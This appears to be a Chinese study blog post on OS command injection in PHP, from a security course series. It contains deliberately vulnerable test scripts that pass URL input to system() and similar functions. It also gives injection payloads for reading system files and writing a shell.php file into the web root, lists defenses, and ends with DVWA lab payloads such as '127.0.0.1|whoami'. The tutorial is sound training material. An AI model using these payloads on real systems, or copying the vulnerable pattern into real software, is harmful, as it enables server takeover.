[网络安全学习篇59]:OS命令注入

引言:我的系列博客[网络安全学习篇]上线了,小编也是初次创作博客,经验不足;对千峰网络信息安全开源的视频公开课程的学习整理的笔记整理的也比较粗糙,其实看到目录有300多集的时候,讲道理,有点怂了,所以我就想到了通过写博客(课程笔记)的形式去学习它,虽然写博客会让我多花几倍的时间去学习它,但是当我完成一篇博客所获得的成就感和你们对于我的认同感,让我很满足,能够鼓励我一天天的坚持下去,也希望和我一起学习本期视频的"同道"们也能给一直坚持下去。我们大家一起加油。由于作者本身也是网络信息安全小白,大部分知识点都是初次接触,出现对其理解不深入,不完整,甚至也会出现错误有问题的地方,希望大家谅解、留言提出指正,同时也欢迎大家来找我一起交流学习!!!

 

往期博客:

第一阶段:

[网络安全学习篇1]:windowsxp、windows2003、windows7、windows2008系统部署(千峰网络安全视频笔记)

[网络安全学习篇24]:漏洞与木马(千峰网络安全视频笔记 p117-p118)

第二阶段:

[网络安全学习篇25]:初识Linux及简单命令

[网络安全学习篇32]:Linux脚本编写汇总及应用

第三阶段:

[网络安全学习篇33]:0基础带你入门python

[网络安全学习篇38]:基础环境搭建

[网络安全学习篇39]:HTML标签基础 常用的标签 表格

[网络安全学习篇42]:靶场环境搭建(ubuntu系统安装优化及vulhub安装)

[网络安全学习篇43]:PHP基础+变量 运算符 流程控制语句

[网络安全学习篇48]:JS 基础 函数 事件)

第四阶段:

[网络安全学习篇49]:渗透测试方法论

[网络安全学习篇50]:Web架构安全分析

[网络安全学习篇51]:信息收集

[网络安全学习篇52]:扫描技术

[网络安全学习篇53]:口令破解

[网络安全学习篇54]:SQL注入

[网络安全学习篇55]:SQL自动化注入

[网络安全学习篇56]:XSS

[网络安全学学习篇57]:XSS(二)

[网络安全学习篇58]:PHP代码注入

[网络安全学习篇59]:OS命令注入(本篇)

下期博文:

[网络安全学习篇60]:文件上传

 

目录

 

OS命令注入

原理及成因

漏洞的危害

相关函数

*system()

*exec()

*shell_exec()

*passthru()

*popen()

*反引号

漏洞利用

*查看系统文件

*显示当前路径

*写文件

防御方法

DVWA 命令注入

low

medium

high


OS命令注入

原理及成因

程序员使用脚本语言(比如PHP)开发应用程序过程中,脚本开发十分快速、简介、方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要调用一些外部程序(系统命令或者exe等可执行文件)。当应用需要调用一些外部程序时就会用到一些系统命令的函数。

应用在调用这些函数执行系统命令的时候,如果将用户的输入作为系统命令的参数拼接到命令行中,在没有过滤用户的输入的情况下,就会造成命令执行漏洞

1、用户输入作为拼接

2、没有足够的过滤

 

漏洞的危害

1、继承Web 服务器程序权限(Web 用户权限),去执行系统命令

2、继承Web 服务器权限,读写文件

3、反弹Shell(服务器主动连接攻击方)

4、控制整个网站

5、控制整个服务器

 

相关函数

*system()

system() 能够将字符串作为OS 命令执行,自带输出功能

测试代码如下

---------system.php

if(isset($_GET['cmd'])){

$str=$_GET['cmd'];

system($str);

}

?>

--------------

提交参数

?cmd=ipconfig

 

*exec()

exec() 函数能将字符串作为OS命令执行,需要输出执行结果。测试代码如下

------exec.php

if(isset($_GET['cmd'])){

$str=$_GET['cmd'];

print(exec($str));

}

?>

---------------

提交参数

?cmd=whoami

(返回结果有限)

 

*shell_exec()

测试代码如下

-------shell_exec.php

if(isset($_GET['cmd'])){

$str=$_GET['cmd'];

print(shell_exec($str));

}

?>

----------------------

提交参数

?cmd=whoami

(使用最多)

 

*passthru()

测试代码如下

-------shell_exec.php

if(isset($_GET['cmd'])){

$str=$_GET['cmd'];

passthru($str);

}

?>

----------------------

提交参数

?cmd=whoami

 

*popen()

popen() 也能执行OS 命令,但是该函数并不是返回命令结果,而是返回一个文件指针。无论返回什么,我们呢关心的是命令执行了

测试代码如下

-------shell_exec.php

if(isset($_GET['cmd'])){

$str=$_GET['cmd'].">> 1.txt";

popen($str,'r');

}

?>

----------------------

提交参数

?cmd=whoami

 

查看1.txt文件

 

*反引号

反引号[``] 内的字符串,也会解析成OS 命令

测试代码如下

-------shell_exec.php

if(isset($_GET['cmd'])){

$str=$_GET['cmd'];

print `$str`;

}

?>

----------------------

提交参数

?cmd=whoami

 

漏洞利用

OS 命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。

*查看系统文件

提交参数[?cmd=type c:\windows\system32\drivers\etc\hosts],查看系统hosts 文件。

*显示当前路径

提交参数[?cmd=cd]

*写文件

提交参数[?cmd=echo "" > c:\phpStudy\WWW\Commandi\shell.php]

页面没有报错,说明写入文件成功。访问shell.php 文件

 

防御方法

1、尽量减少命令执行函数的使用,并在disable_functions 中禁用

2、在进入命令执行的函数或方法之前,对参数进行过滤

3、参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义

 

DVWA 命令注入

low

127.0.0.1| whoami

127.0.0.1|whoami

127.0.0.1&&whoami

127.0.0.1;whoami     ?

127.0.0.0.1||whoami

medium

127.0.0.1| whoami

127.0.0.1|whoami

127.0.0.0.1||whoami

high

127.0.0.1|whoami


参考文献:

千峰网络信息安全开源课程

你可能感兴趣的:(渗透测试,千峰网络安全视频笔记篇)